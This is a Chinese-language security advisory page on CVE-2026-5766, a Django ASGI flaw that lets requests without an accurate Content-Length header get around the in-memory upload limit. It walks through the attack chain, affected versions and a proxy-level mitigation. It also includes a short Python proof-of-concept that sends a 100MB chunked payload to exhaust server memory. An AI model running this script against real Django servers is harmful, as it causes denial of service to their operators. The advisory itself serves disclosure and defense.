IPBUF安全漏洞报告
English
CVE-2026-5766 CVSS 5.3 中危

CVE-2026-5766 Django ASGI内存限制绕过漏洞

披露日期: 2026-05-05
来源: 6a34fbeb-21d4-45e7-8e0a-62b95bc12c92

漏洞信息

漏洞编号
CVE-2026-5766
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Django

相关标签

Django拒绝服务DoSASGI内存耗尽CVE-2026-5766

漏洞概述

Django 在 6.0.5 和 5.2.14 之前的版本中发现一个安全问题。攻击者通过构造缺少或低估 `Content-Length` 头部的 ASGI 请求,可以绕过框架内部的 `FILE_UPLOAD_MAX_MEMORY_SIZE` 限制。这种攻击方式允许将大文件加载到服务器内存中,可能导致内存资源耗尽,进而引发服务降级或拒绝服务。

技术细节

该漏洞源于 Django 在处理 ASGI 请求时对 `Content-Length` 头部的校验逻辑存在缺陷。在 Django 的 ASGI 处理机制中,`FILE_UPLOAD_MAX_MEMORY_SIZE` 配置项旨在限制上传文件在内存中的最大占用,防止恶意大文件攻击。然而,当攻击者发送的 ASGI 请求中缺少 `Content-Length` 头部,或者该头部的数值被刻意低估时,Django 无法正确执行该限制检查。攻击者利用这一逻辑漏洞,可以发送远超配置预期的数据流。服务器在处理此类请求时,会尝试将接收到的数据全部加载到内存缓冲区中。随着攻击者持续发送大量数据,服务器内存资源会被迅速耗尽,导致系统性能显著下降,甚至引发服务崩溃,造成拒绝服务。此漏洞无需用户认证即可被利用,且攻击成本低,对运行受影响版本的 Django 应用构成严重威胁。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出使用受影响 Django 版本(6.0 < 6.0.5 或 5.2 < 5.2.14)且基于 ASGI 部署的目标应用。
STEP 2
步骤2:构造恶意请求
攻击者构造一个特殊的 ASGI/HTTP 请求,其中故意省略 `Content-Length` 头部或将其值设置得很小,并准备大量的数据负载。
STEP 3
步骤3:发送攻击载荷
攻击者向目标服务器发送该请求。由于缺少正确的长度声明,Django 在处理流时可能未能正确截断超出 `FILE_UPLOAD_MAX_MEMORY_SIZE` 的部分。
STEP 4
步骤4:资源耗尽
服务器持续接收数据并将其加载到内存中,直到内存耗尽,导致服务变慢或崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import httpx # PoC for CVE-2026-5766: Django ASGI Memory Limit Bypass # This script attempts to bypass FILE_UPLOAD_MAX_MEMORY_SIZE by sending # a request without a Content-Length header (using chunked encoding). TARGET_URL = "http://vulnerable-django-app/upload" # Generate a large payload (e.g., 100MB) to potentially exhaust memory PAYLOAD_SIZE = 100 * 1024 * 1024 PAYLOAD = b"A" * PAYLOAD_SIZE def send_malicious_request(): print(f"[*] Sending payload of size {PAYLOAD_SIZE} bytes...") try: with httpx.Client(timeout=30) as client: # 'content' parameter without 'Content-Length' header triggers chunked encoding headers = { "Content-Type": "application/octet-stream" } response = client.post(TARGET_URL, content=PAYLOAD, headers=headers) print(f"[+] Request completed. Status Code: {response.status_code}") except httpx.RemoteProtocolError as e: print(f"[!] Server likely crashed or closed connection: {e}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": send_malicious_request()

影响范围

Django 6.0 < 6.0.5
Django 5.2 < 5.2.14
Django 5.0.x (Unsupported)
Django 4.1.x (Unsupported)
Django 3.2.x (Unsupported)

防御指南

临时缓解措施
如果无法立即升级,请务必在反向代理或 Web 服务器(如 Nginx 的 client_max_body_size)层面限制请求体大小,不要仅依赖 Django 框架层的配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表